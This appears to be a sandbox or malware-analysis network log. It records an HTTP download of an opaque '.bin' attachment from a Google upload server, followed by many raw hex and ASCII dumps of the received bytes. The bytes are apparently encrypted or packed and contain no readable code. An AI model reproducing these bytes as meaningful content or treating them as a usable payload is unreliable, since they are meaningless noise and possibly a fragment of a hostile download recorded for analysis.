X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="yendexoriginwithoutfilter_TvvtEQZCDC245.bin";filename*=UTF-8''yendexoriginwithoutfilter_TvvtEQZCDC245.bin Content-Length: 219200 Date: Mon, 24 Jan 2022 07:55:03 GMT Expires: Mon, 24 Jan 2022 07:55:03 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=/3wxng== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-01-24 07:55:04 UTC	6	IN	Data Raw: 07 33 4f 4b 4e e7 be bb 42 89 d9 4f a0 0a a9 9a d9 e5 d2 6a 4a fa 79 2b 8d 01 7a 5c 47 d9 17 d3 e3 20 54 05 68 fe 9b cc 3b bd 7a 78 79 a5 b5 1d bf 7f c4 7d 11 fd 2b 33 83 2b 9b f7 66 b7 fe bf 27 71 b6 30 06 5f 59 46 b4 bb 36 2a 58 38 8d 3a 18 c6 01 a3 a6 4f fb 8e de 67 5e 66 b4 b5 77 47 ea 15 fb 12 f2 e0 66 d3 67 c0 47 1e b9 3b af d4 5d 80 5a 32 c8 5f cd 32 b9 57 73 00 ad e8 a2 de b8 ff 18 61 30 95 59 4f 5f 1d 02 6a d9 4d 41 45 a6 f6 53 7b 10 fa 0d 08 32 b2 32 bc ce 2a ad 15 23 29 c2 7d 0a 0d 91 ee 1b a6 28 ca af 2b 8b 6e d8 5d 83 e9 15 9f e8 c8 69 b2 de 02 d8 8b 1d 36 62 5d 8d 66 11 f0 bb b5 cd fb af 86 a7 46 84 b9 0a b9 b7 d4 e4 dd a8 f3 d8 df 0b 64 27 5f 75 af 96 a4 ea 6a 9c 7a 59 b5 e9 ee f8 51 15 1b db 69 02 72 e1 3b 4c d0 40 ae 22 bc 8a 51 d6 be e1 Data Ascii: 3OKNBOjJy+z\G Th;zxy}+3+f'q0_YF6X8:Og^fwGfgG;]Z2_2Wsa0YO_jMAES{22#)}(+n]i6b]fFd'_ujzYQir;L@"Q
2022-01-24 07:55:04 UTC	10	IN	Data Raw: 6a 6a 26 c0 99 c4 13 aa f7 5f 06 6e 28 be a7 19 b3 97 c9 29 db 81 3f 51 1c 0e 77 07 d2 7f 5c 0f e0 fb 0e 5e 3c 96 c8 04 05 98 c2 d5 e9 fc b0 be a7 01 c1 79 ca de 59 8b b7 81 7c 88 27 d4 9c 48 b2 0d 72 2e 1e 58 a6 f1 41 f4 c5 11 1c 4c f1 6e e4 cd ff 33 69 72 44 82 34 8c 21 06 fb 64 ff 6b e1 01 43 0d e8 b9 f7 51 a0 14 5d e9 13 41 6e a0 b4 00 4c 01 13 92 9b 82 a2 a6 21 a0 08 fd 0f 48 14 ea 11 b8 22 f4 45 ee 10 9d 2b d1 21 24 b6 88 46 8c 86 2b d6 18 e3 80 d0 9e 4a a8 37 ad f3 6f 36 45 88 1a 42 ea 4c e6 b7 04 c2 7e 61 69 ce 33 81 d7 52 84 a4 54 3f 7f 0d a3 af 9a dc ba 36 d2 eb c1 7f 98 af 73 db 26 79 cf ec b7 d9 08 71 0f 83 0a bd aa 97 21 16 a6 09 f1 2f 27 90 7d 4e fe 78 02 ca 65 d2 ef ed ab 2a eb 90 10 67 8e cc df 43 2e f9 76 50 56 12 3a 22 50 9f 51 3e 7f af Data Ascii: jj&_n()?Qw\^<yY\|'Hr.XALn3irD4!dkCQ]AnL!H"E+!$F+J7o6EBL~ai3RT?6s&yq!/'}Nxe*gC.vPV:"PQ>
2022-01-24 07:55:04 UTC	13	IN	Data Raw: 28 86 ab 2f f8 9e 58 5e 92 5f 8e 32 62 de fa 69 53 79 6f 4f 1b 0b e7 46 12 d8 36 ee 81 00 53 b3 9b b1 32 e1 9f 57 54 e5 63 d7 a8 f4 2e c8 8c c9 ea 1e 0a e9 c4 ab 8c 2a fd 55 44 e4 cd 7e ed 37 05 6d 99 a8 73 40 cf 2e 43 9e b0 d8 9e 42 bf ee 27 50 a4 7b 07 d3 8d 80 75 b6 34 8b c3 0f ac 94 90 c8 be 40 8c 1d c9 4b 53 cd 47 ea 02 55 12 47 70 d3 f4 42 eb b1 09 4d d4 06 14 81 0f 25 52 d0 4d 4a 65 9d cf ea 73 c5 f6 60 ad e2 51 19 69 aa 01 20 51 02 a3 ec 3b 9e 14 3c d7 6e 29 f5 4b a3 d9 50 14 90 c3 cf 76 62 16 8d 5f ac 47 4f f8 05 98 ad 5c f1 4f fa 56 61 e1 3b d1 3d e1 69 02 f0 c8 35 58 92 b7 d7 0c 3e 02 49 ef 2c 9e 02 d6 74 79 1f 94 1f 34 db 22 97 a4 4c e6 38 62 ad 59 08 ee 41 4d 3c 64 35 13 6d 23 57 8b 07 6f fc 61 89 87 02 4d d4 ea b0 c6 88 4b 79 0a d3 fd b7 42 Data Ascii: (/X^_2biSyoOF6S2WTc.*UD~7ms@.CB'P{u4@KSGUGpBM%RMJes`Qi Q;<n)KPvb_GO\OVa;=i5X>I,ty4"L8bYAM<d5m#WoaMKyB
2022-01-24 07:55:04 UTC	17	IN	Data Raw: ff 3e 22 d1 ef 58 75 97 ba 7a 3b 38 95 23 1f c4 6a 2b 22 5f cb 5f 59 4c 96 65 39 0f 8f f0 8d 3a aa d5 29 8b 9e 4f fb 84 40 67 4c 4a 9c 7a 77 47 e0 2f 92 ec 0d 1f b8 dd 75 ec b9 08 b6 3b af cf 32 d7 5a 32 c2 83 dc 35 d6 87 73 00 27 87 69 de b6 ea bb 51 5d 20 50 82 00 ab 03 26 10 7b 26 10 e7 3a 71 0b 64 bd 40 7a 53 d9 3a f7 af 44 c5 6b 50 66 70 18 2a 75 cc a4 3b cf 4c fe fd 4c ea 4e b5 34 c1 51 01 93 e5 c2 68 9a e9 02 d8 81 0e 1f 26 0b 8a 4e 65 f1 b8 bf d0 09 4a e7 a7 38 8a b9 0a bd af 94 98 dd aa f2 c8 53 15 64 27 10 65 82 87 81 fc 42 5c 78 59 b3 f5 92 d6 46 6b 2c db 69 06 5a a4 39 4c d6 28 f9 20 9c 8c 3e ae bc e1 8f fd 41 2d 0f e1 97 07 59 1c ef 26 a9 61 4c bc ed 4e 00 7f 7f 72 da c2 ad d1 14 ef 10 f7 d9 2b 0d 18 26 3b cb 03 27 7e 84 a4 dc 63 02 61 12 a9 Data Ascii: >"Xuz;8#j+"__YLe9:)O@gLJzwG/u;2Z25s'iQ] P&{&:qd@zS:DkPfp*u;LLN4Qh&NeJ8Sd'eB\xYFk,iZ9L( >A-Y&aLNr+&;'~ca
2022-01-24 07:55:04 UTC	18	IN	Data Raw: 4d b2 de 18 d8 8b 1c 36 32 18 8d 34 58 f1 b8 bb 0d 2c 4b 87 a2 46 84 b6 0a b9 b7 ce 04 dd ab f2 d3 de 00 0b 22 11 76 a1 96 ac ea 17 99 7a 59 ba 57 83 fb 4b 15 3b da 69 02 72 e1 b7 49 d0 00 a0 22 9c 8a cb d3 bc e1 8a 5f 50 00 0d c9 cf 04 59 1a 4d 37 2d 7d 64 c5 e3 4e 0a 6c e6 65 f4 bc b4 d1 14 eb 22 8d d9 2a 07 ba 37 16 17 2e 41 7c 8a a2 7e 72 fb 4c 69 a9 3f b1 a4 d9 b1 2f f9 b7 c3 5e 92 55 45 40 60 de f2 41 c8 79 9e 40 33 73 ea 46 14 f0 b7 ee 81 0b 7b 96 9b b1 38 cf 04 57 5a ef 4b 92 a4 f2 28 e0 1b c9 ea 14 38 cf c4 aa 86 02 66 55 5e e8 d2 74 72 68 05 6d b5 86 e8 40 c0 24 6b e7 a8 d8 98 6b 24 ee 27 5a b0 05 05 d3 85 a8 ee b6 7e 87 eb 0b a3 94 96 a7 3e 40 8c 16 a6 2a 53 cd 14 c4 99 55 1c 4d 6f d9 1f 1b eb b1 07 65 4f 06 0e 8b 27 56 50 d0 4b 62 88 9b cf e0 Data Ascii: M624X,KF"vzYWK;irI"_PYM7-}dNle"7.A\|~rLi?/^UE@`Ay@3sF{8WZK(8fU^trhm@$kk$'Z~>@SUMoeO'VPKb
2022-01-24 07:55:04 UTC	19	IN	Data Raw: e9 14 50 b8 ef 9a 08 62 39 39 bc 9d a8 b4 bb 61 2c 1f 03 0e 63 79 a6 1a b8 2f ee bc 80 64 9f 3c d0 96 34 7e fb 6c a0 84 01 de 23 84 67 5c 38 4c 82 3d be e4 48 27 40 07 09 45 fc e7 d9 b7 15 d5 7e 63 7a 72 3b 88 c6 54 bd fa 4d c1 74 26 c9 e1 96 c6 a3 23 d5 90 1f d5 09 f5 5f de 3b 40 d4 ee b6 c8 1e a3 07 7a 1a 95 a4 8f 2f a4 f7 15 e2 21 36 84 16 05 00 79 24 d8 78 4d d4 ed ba 2f e2 68 00 4e 9d d7 2b 86 25 ec 72 6d 55 1f c0 4c 2b 8e 56 5b ce 71 3b be 3c 2d 60 55 83 88 8b 28 e7 98 ab 70 19 66 f6 03 ad a7 90 e5 ec 7d 17 eb 68 9a d6 ea b6 72 c8 f7 dd b0 49 b7 6e 75 5f 3c 91 bb 46 c4 8c 62 81 eb fe 2e 7e 2e 10 ad 12 4e 6c 76 39 17 0a 93 53 4e 7c 01 26 30 05 44 69 42 b0 3c 34 2a a7 ef 8d 3a b1 ee cb a1 a6 49 f1 fd 40 66 5e 60 a7 b2 09 5d ea 15 ff 3e a3 f1 61 ad 7c Data Ascii: Pb99a,cy/d<4~l#g\8L=H'@E~czr;TMt&#_;@z/!6y$xM/hN+%rmUL+V[q;<-`U(pf}hrInu_<Fb.~.Nlv9SN\|&0DiB<4*:I@f^`]>a\|
2022-01-24 07:55:04 UTC	21	IN	Data Raw: 73 8f 65 b0 14 da 02 7f 80 ed 4b 94 82 21 2a e0 11 a6 92 14 22 c5 ce b1 8a 02 6e 4a 4a 10 d3 58 6a 6f 1c 13 80 80 e8 44 6d 3b 64 eb b2 d0 84 94 25 c2 34 5c a4 b9 07 d3 8d 80 34 b4 34 87 84 73 ac 94 9c ad 39 4c 8c 1f bc d4 52 e1 5e c4 b1 83 10 4d 69 f1 af 1f eb b7 67 1d 4f 06 1e 81 3c 5b 50 d8 54 6f 00 9c e3 eb 63 f5 fe bb af e4 7f 20 76 a4 07 3f 53 98 02 ed 17 9d 2b ab d7 66 3c cf c6 a0 f5 54 17 0e fb bc 82 85 c1 87 5f ac 41 7c 53 01 98 6c 43 fb c3 8f 56 61 f1 11 62 c0 e1 63 20 03 fc 35 52 b2 cb d2 0e 3e 5a 43 32 9f 96 02 d6 40 47 23 bf 04 3e d0 37 41 58 60 e4 2a 7a a9 7e 1e 14 40 61 b3 09 3e 13 6b 36 79 f1 2b 6d d6 4b b6 64 00 58 a3 98 ef c6 82 43 df 26 0b 45 ae 6f 9a 0c 7b 6f 52 0f 9c c4 0e a2 e6 5a 01 6f 00 ee a5 31 fc b1 ce 55 c3 62 44 51 1d 05 59 3b Data Ascii: seK!"nJJXjoDm;d%4\44s9LR^MigO<[PToc v?S+f<T_A\|SlCVabc 5R>ZC2@G#>7AX`z~@a>k6y+mKdXC&Eo{oRZo1UbDQY;
2022-01-24 07:55:04 UTC	22	IN	Data Raw: 3c ab 55 83 86 29 b1 ed 51 a2 7c 12 71 ea fd bd 8f 81 33 de 51 04 9f 47 83 c5 ea 9e 9e cc e1 29 de 08 b4 79 6c 51 25 93 bb 58 2b 89 55 7d c1 d7 0d 03 be ea 53 1a 53 c4 5f 31 1e 80 2c fb cb 42 05 26 30 0f 49 a7 47 9c f9 2a 39 a3 c7 9c 3e b7 38 00 8f a5 57 e8 8a 9e 76 5a 7c 4a b4 5b 42 c1 3b e0 01 f6 e0 77 d7 7b 3e 46 32 bc 2c 85 c9 4e 84 5a 23 cc 49 33 33 95 54 64 13 29 e8 b3 da ab 1e a3 43 32 0a 55 ba 12 5a fc d9 1c 7b c3 21 c7 8c 42 95 74 bf 6a 7a 48 ef 16 df 2c 43 c3 7a 78 09 a0 09 02 37 e4 80 3d 4f 66 ea eb 60 a6 6a b5 32 e3 a0 05 ec c6 c2 4d b6 c9 31 c0 f5 38 36 32 1c 03 d1 4b c0 94 9d 47 2c 4b e1 8a 43 59 ea 0d b9 b7 ff 1a a3 89 f2 d3 da 18 57 31 6f 53 af 96 a8 64 dd 8a 4b 55 9d 1c 83 fb 57 38 3e 06 5a 05 72 e1 13 05 d0 00 a8 20 82 ca ba d6 bc e1 fb Data Ascii: <U)Q\|q3QG)ylQ%X+U}SS_1,B&0IG*9>8WvZ\|J[B;w{>F2,NZ#I33Td)C2UZ{!BtjzH,Czx7=Of`j2M1862KG,KCYW1oSdKUW8>Zr
2022-01-24 07:55:04 UTC	23	IN	Data Raw: ac 55 61 e0 11 55 4a d2 7a 54 64 c8 35 56 90 58 e5 0e 38 78 6d ef 2c 9c 82 de 65 6f 10 62 ef 36 dc 35 6b ba 18 d7 39 17 a5 5e 1e 14 68 9c 3c 73 38 3b 4e 3b a9 80 ab 65 d7 63 a6 b9 cd 50 8b 66 ed d9 f1 79 48 ef db fd bd 6e a4 f9 68 6b 3b d8 b8 c4 04 a1 77 57 13 6e 2c 72 0a 33 fa 97 cb 3c d5 81 26 2f 15 04 71 2b b0 80 5e 05 89 98 2a 5e 36 9a 5f 63 49 98 c6 02 7e de 90 f0 a5 1e d5 07 d3 a0 5b 8d a0 ea 1a 88 24 de 9c 7f a4 62 3d 24 9e 5a a0 d9 09 2b b6 15 73 1c f3 71 ce f8 ce 00 63 72 42 e9 4d d6 23 0c fb 23 89 6b e1 01 c8 02 9c 83 f3 8c f4 79 0e e9 3b 4f 46 ee b0 6f 4d 16 3b b6 f4 8b a9 b0 6b 03 0c fd 0f 49 14 b9 10 b8 22 97 4a 80 48 97 3d 25 97 6c 62 1a 7f 72 87 3c 25 1a a4 9a 83 63 4a a8 3d 40 f6 6e db 41 c1 0b 65 59 c0 d9 b7 fa c2 7b 99 43 ad 17 e2 c4 d8 Data Ascii: UaUJzTd5VX8xm,eob65k9^h<s8;N;ecPfyHnhk;wWn,r3<&/q+^*^6_cI~[$b=$Z+sqcrBM##ky;OFoM;kI"JH=%lbr<%cJ=@nAeY{C
2022-01-24 07:55:04 UTC	24	IN	Data Raw: 7d d2 0d d4 bc 5f c3 6b 4c 16 ac e6 2b 53 ee 91 30 d5 90 f9 e0 7b d5 5d ae 32 f6 97 24 ab 1b c3 61 b8 ad 20 da 8b 1b 3c 2d 22 9e 7d 5d e0 a3 aa 3d d2 4a cb b6 57 82 ae d0 ae 61 59 2f dd aa f3 c0 db 1f 55 34 0a 76 be 8d b3 c8 94 9d 56 57 b7 46 88 d3 43 14 3b d1 7a 06 6d c2 28 57 d0 11 b5 3d 8e 74 50 fa b2 e3 94 54 78 0f 16 c9 c5 16 55 05 5e 24 9f 78 75 de f5 b0 0b 40 57 76 e7 b7 a2 c2 0f eb 29 96 c5 d5 06 96 3e 07 da 31 97 6f 8f bf 6d 69 2f 58 72 b6 17 4f a5 f5 a1 3e f2 ac 15 4d 99 4a 8e 56 7b de ed 5a d7 57 91 44 1f 7d e7 57 1f d8 bf ef 81 00 68 90 84 9e 2b d2 04 46 4f f0 73 6c ab d8 2f f1 0d c2 f5 2d 31 d4 c4 ba 9d 1d 4c ab 45 c2 dc 76 70 63 2d 7f 99 80 e2 53 d7 3b 40 f4 a9 d8 89 71 3b fb d9 5b a0 09 14 d8 91 7e fd bd 2b 97 f8 10 ac 85 8d b8 3f be 8d 3b Data Ascii: }_kL+S0{]2$a <-"}]=JWaY/U4vVWFC;zm(W=tPTxU^$xu@Wv)>1omi/XrO>MJV{ZWD}Wh+FOsl/-1LEvpc-S;@q;[~+?;
2022-01-24 07:55:04 UTC	26	IN	Data Raw: 3c 73 1c f0 7d fe c9 c6 71 7a 62 54 fc 74 a4 34 0d fd 01 bc 64 f0 1a 9e 19 93 81 e6 5e 89 69 0f e9 19 58 48 ff b9 1a 5b 19 ed 6a 88 8d aa a1 6e 03 1a fc 0f 45 77 af 1e a2 fe eb 4d 83 59 92 03 c9 97 33 6a 08 7c 83 9c fc c8 14 f9 89 ac ef 58 a9 3d b4 e4 75 34 4f 84 18 48 2a 16 ca b8 06 d2 62 4f 50 f3 3b 82 d5 51 bd f1 4e e9 66 05 dd f2 8d 06 a7 f1 58 aa 1b c8 f6 e7 77 d9 3d 65 db f9 a4 d9 0a 8f 09 85 1b b3 a0 97 2b 51 e6 08 f1 2f 0f b9 13 12 fe 70 28 d5 e0 5e d0 ad 34 2b f8 96 02 73 94 93 7b 9c 36 e2 1d 60 50 03 34 65 55 9f 51 32 b0 65 2a a0 2f 52 86 7d d3 82 a7 00 e9 99 a8 1c 2b 62 ee fd ac 8b 99 ed 9f 26 34 e1 65 83 c5 ee b6 93 f3 b8 0b 20 65 b4 73 d1 4c ea 0d 94 58 3a 8c 5d 90 d1 e9 07 16 d6 83 71 1a 59 ba 7a 31 1e a4 64 3a f5 77 2a 26 3a 2d 41 58 46 ba Data Ascii: <s}qzbTt4d^iXH[jnEwMY3j\|X=u4OHbOP;QNfXw=e+Q/p(^4+s{6`P4eUQ2e/R}+b&4e esLX:]qYz1d:w*&:-AXF
2022-01-24 07:55:04 UTC	27	IN	Data Raw: 32 de 3c d9 ab 25 ea b3 eb 4e 93 55 ac 54 64 b1 64 41 c8 73 7c 43 22 75 f1 6e 95 f2 ad e8 97 87 7c 96 9b b0 2c dd 10 7f f7 ef 4b 98 b2 78 17 e0 17 c8 c2 25 23 cf ce bc 0a 3d 66 55 45 c6 6a 74 61 62 2d 37 98 80 e2 57 19 a9 40 e7 b2 d9 8b 6d 35 e8 33 72 86 00 05 d5 93 25 e9 b6 34 80 f8 00 bd 9f 80 b6 23 e2 9d 1c b1 3c df f2 4d c2 98 f7 03 46 7c d5 69 11 ff a5 10 e8 60 06 14 8a 34 5a 41 dd 5d 75 62 8c c2 f7 72 71 c7 6d ba cc de 82 69 a0 2d 2e 56 98 6c c0 24 8e 30 b1 4d 46 32 dd 38 ab 09 44 3c 0b d8 e7 68 7a 3e a7 77 9e 40 67 69 71 8a a7 43 e0 d0 a2 47 66 f1 14 c4 8a f9 b9 3c f0 bb 16 53 b8 ae f4 06 2f 58 5d c7 27 95 02 d0 72 e2 13 bf 04 35 cf 39 78 a9 76 f5 25 41 bc 5e 1e 1a e2 70 32 60 35 02 61 2f bd 9d a6 42 d7 63 a3 77 0d 43 86 70 f8 5a 99 47 79 32 d3 fd Data Ascii: 2<%NUTddAs\|C"un\|,Kx%#=fUEjtab-7W@m53r%4#<MF\|i`4ZA]ubrqmi-.Vl$0MF28D<hz>w@giqCGf<S/X]'r59xv%A^p2`5a/BcwCpZGy2
2022-01-24 07:55:04 UTC	28	IN	Data Raw: da 60 54 c3 cf b5 a6 d3 96 01 63 8b df 7f 85 bb c3 72 7c 50 10 1a 5c 02 80 49 25 80 67 25 9c 2b 43 8e 5f 92 87 b1 17 de 9d b0 68 20 77 ef fd a6 9a bb dc fb 12 32 e0 65 89 d4 cc a7 40 a3 c7 22 b1 6f a5 5b 71 34 1b 81 bf 52 2b af 57 ec e8 fa 16 0f c0 cd 3d 33 58 ba 70 20 1a 92 35 65 53 dd 44 0c 31 05 55 4a 63 af fb bb 01 a7 c7 8c 29 81 d7 24 bc 8e 5e da 98 81 27 76 73 b5 b5 7d 34 c9 14 fb 18 e1 c6 77 f5 76 e1 28 3e b8 3b a5 c7 7a 91 7d 1a dc 5e cd 38 91 00 71 00 2b c0 8c dc b6 e6 cd 17 30 21 5a 91 56 a2 12 20 05 44 7a 15 ce 85 79 d5 6e 84 4c 56 54 ce 34 b0 f8 44 c3 70 8b 0e aa c6 33 78 ee 5e 2e c8 4c 34 fa 41 f0 79 b5 32 ed 9f 12 ba dd c2 4d b8 00 02 df a1 1b 1c 73 64 8d 66 5f f1 b8 b5 b9 2c 4b e7 86 46 84 b9 df b9 b7 d4 15 dd aa f2 d3 de 00 64 25 11 76 af Data Ascii: `Tcr\|P\I%g%+C_h w2e@"o[q4R+W=3Xp 5eSD1UJc)$^'vs}4wv(>;z}^8q+0!ZV DzynLVT4Dp3x^.L4Ay2Msdf_,KFd%v
2022-01-24 07:55:04 UTC	29	IN	Data Raw: e5 13 03 3c a7 dd 7f 25 df 10 9f d8 56 36 09 eb f1 7d 7a 34 bc 57 84 e5 67 63 0f eb d3 42 fb c5 af 49 7d f3 1c 4a 2c ee 7c 3e 92 c9 19 58 a9 a8 f1 9e 12 ca 56 fa 3f 99 02 c7 6a 73 ea be 28 38 cd 39 7f 35 59 68 de 96 52 43 0d 1f 40 70 31 6c 2c ed 6b 17 83 9b 2e 77 5b 5c a2 64 01 7a 33 66 ef cc 9f c6 6e 91 d3 fc 95 d2 8c 07 60 43 67 f0 9c ce 13 7d 7a 74 13 6e 29 bc a1 2e e9 84 c6 23 be bd 20 4b e3 05 5d 39 b0 6f 5d 05 85 a1 0a 2a 24 90 df 70 26 8b c3 df e5 d1 8f eb b4 0e ae 25 c5 c9 ad 8c 8c ed 2a 9b 28 de 8b 58 9f 6d c3 2f 32 58 b1 d5 15 66 e9 7b 6c 0c e2 61 ee da d8 61 72 8c 43 c1 49 9d 2c 18 d5 8a af 6b e7 1c c5 0d 9c 83 f6 42 af 6a 00 ff 02 41 5c 74 9e 11 4a 17 31 1e 8a 8c bc a4 76 3d 20 55 0f 4f 71 a1 0b ab 27 f8 53 8e 57 93 d5 da ba 3d 71 0f 7b 16 ae Data Ascii: <%V6}z4WgcBI}J,\|>XV?js(895YhRC@p1l,k.w[\dz3fn`Cg}ztn).# K]9o]$p&%(Xm/2Xf{laarCI,kBjA\tJ1v= UOq'SW=q{
2022-01-24 07:55:04 UTC	31	IN	Data Raw: b9 5e 64 fe 2c c4 a0 c6 bb e0 ab 75 ce 20 7c 86 55 8b 18 2b 14 65 03 d3 ce a9 71 1c 6f 95 63 65 5a 21 13 f3 ad 6f c6 42 29 f6 5f e7 3d 74 cf 8a 39 ca 0c 7b f4 69 f6 4c a3 39 e2 a9 71 85 33 96 48 f8 d6 3c ac 74 e2 c9 24 32 8d 75 6d f3 b8 88 0d 2c 4b a4 a7 46 95 af 06 92 98 d4 0c c5 54 f3 ff d3 7e 53 27 11 72 dc dc ad ea 60 97 63 55 b5 5f 94 05 50 39 39 c3 65 02 7a f7 c5 4d fc 02 b9 2e 9c 82 48 28 bd cd 87 74 52 2b d8 ce cd 6a 12 1b 4d 3d ae 78 64 c5 fe 7e 08 6c 04 60 f4 bc ff d1 14 fa 2e 81 f2 66 07 b2 2d e8 d0 07 4c 7b eb ee 7f 72 25 51 5a 96 27 9b bf d5 ab 27 e0 48 c2 72 96 4c 8c 5f 6c de f4 56 36 78 43 47 2b 7f e5 4e 0c 0e ac c2 8d 08 69 97 b3 fc 39 c9 0e 7a 9a f6 47 92 a2 e2 d6 e1 3b cb fd 18 22 c7 df 55 87 2e 64 7e 46 c5 63 6e 4b 68 05 6d 83 b0 ea 40 Data Ascii: ^d,u \|U+eqoceZ!oB)_=t9{iL9q3H<t$2um,KFT~S'r`cU_P99ezM.H(tR+jM=xd~l`.f-L{r%QZ''HrL_lV6xCG+Ni9zG;"U.d~FcnKhm@
2022-01-24 07:55:04 UTC	32	IN	Data Raw: dd ef da e3 a5 a6 01 a4 4e d6 d9 85 9a 7a f9 e4 05 0c de 9a 56 8d 6b 2b 35 82 5b b7 db b9 6a cc 0e 70 a8 6d 68 f8 c2 cd 79 43 67 43 ed 6f 85 28 82 4a 13 77 6e 8d 28 48 0a 9c 83 f7 51 d1 3b 55 c1 82 4b 46 e4 02 9c 43 1e b5 0b 8c 58 ad 90 61 2a 08 fd 52 fb e7 b7 3b b8 28 f8 51 b1 4d 9d a2 db 96 33 28 05 6d 9d ae bd db 1b f1 9a cc 5f 4a a8 37 b3 fe f6 92 60 61 09 45 fc f1 d2 9f 16 c0 6d 61 31 a4 3a 88 cc 2e 84 69 54 3f 7f 09 a3 6f 9a dc ba 2b dd 0f ac e8 08 f4 73 db 1d 61 e2 ef b1 c8 09 d4 4a 85 1b b3 d9 9f 2e b0 4b df f9 ab 81 43 05 c8 e9 ae 85 f0 60 5e d1 e7 ad 3d ef 0a 07 75 91 72 d7 29 aa e1 64 7a 49 0a b0 fa 2f 8a 50 34 a9 77 23 bd b0 f5 58 5d 0d 35 13 9a f2 9d a9 69 01 ec 59 2b a4 05 2e e5 ca 7c 17 eb 63 a9 db ec 9e 70 fc e8 23 87 64 b4 79 2f 5b 3c 91 Data Ascii: NzVk+5[jpmhyCgCo(Jwn(HQ;UKFCXa*R;(QM3(m_J7`aEma1:.iT?o+saJ.KC`^=ur)dzI/P4w#X]5iY+.\|cp#dy/[<
2022-01-24 07:55:04 UTC	33	IN	Data Raw: ec 62 08 47 53 4b 20 be c0 98 14 eb 3c a7 d9 38 37 be 37 7a d1 2b 41 30 84 a2 6f 64 23 62 0c a9 38 ab 5a d8 87 3a fb b0 c4 5d fd cd a6 45 6a b1 dc 40 c8 73 12 0d 33 73 e1 5d 18 f0 a5 f7 7f 0b 57 9e e8 d0 39 c9 0e 5d 4e e3 4b 9a bd 0a 29 cc 15 d1 e6 14 2a d7 3a aa aa 0a 15 35 45 ee d8 7f 78 64 05 65 83 7e e9 6c c6 26 68 9a fb d8 98 6e 38 e2 27 52 9a fd 04 ff 89 bf e2 b6 3c 9d 15 0a 80 96 bd a5 0f d9 a6 0c 96 2e 53 b7 4d c2 99 18 12 4d 7e cd 73 6e 8b b0 08 6f 43 75 75 8a 27 5d 5d d2 30 2a fe 9d cb f3 62 9e f2 61 ad ee 6a 87 78 af 1a 39 34 ab fd ec 31 8e 39 bf b8 49 22 dd 32 b0 dc 4e 53 23 c2 cf 76 72 3d c2 c7 ac 41 6d 70 01 89 a2 2c 99 c2 a5 5c 72 e7 02 4d 2c e5 75 3b 68 46 82 3d 92 a5 e7 04 35 8e 53 fe 29 f9 61 d7 65 65 1d d0 60 35 dc 3f b5 7b 6a ed 0c 6f Data Ascii: bGSK <877z+A0od#b8Z:]Ej@s3s]W9]NK):5Exde~l&hn8'R<.SMM~snoCuu']]0bajx9419I"2NS#vr=Amp,\rM,u;hF=5S)aee`5?{jo
2022-01-24 07:55:04 UTC	34	IN	Data Raw: dc 05 aa 59 18 19 8d 6c 56 2f a2 a4 08 43 28 e6 a7 4c 8d d6 6e b8 b7 de d8 03 a0 fb ff d8 09 0b 70 11 76 a5 4a a4 ed 05 8f 7b 59 bf 7d 83 fb 50 09 3b db 6b 02 4c e1 21 14 d0 0e ae 22 9c 8a 53 d6 b2 e1 df 37 50 0a 17 c9 cf 05 42 2a 49 37 03 78 64 c5 a0 4e 0a 7d 45 6b 87 dc ba d1 1e e7 4b ec d8 2b 0d b7 3e 1e d9 2f 2e 6f 85 a2 74 1d b7 49 69 a3 5f 91 a5 d9 a1 3c ff c5 e7 5f 92 5f b5 40 71 db ed 47 a7 5c 6e 45 39 62 e0 5e 7b d7 ac ee 8b 1b 7e 8e f4 99 39 c9 0e 54 7c 8a 4a 92 a0 e7 2c f1 12 a6 c3 15 22 c5 d7 ac 97 05 77 51 52 ff d6 fa d6 07 2f 6c 98 8a e3 9e d5 35 6e 88 d1 d9 98 60 2d 81 43 5b 8c 09 d9 0d 81 a1 c2 b0 3d ee bc 0b ac 9e 4a af 23 2f 9f 16 a6 20 79 cd 4c de 99 55 10 4d 24 d9 62 78 eb bf 08 65 4f 06 16 8b 29 57 37 a5 4b 68 fe 9d cf e0 7f dd d2 60 Data Ascii: 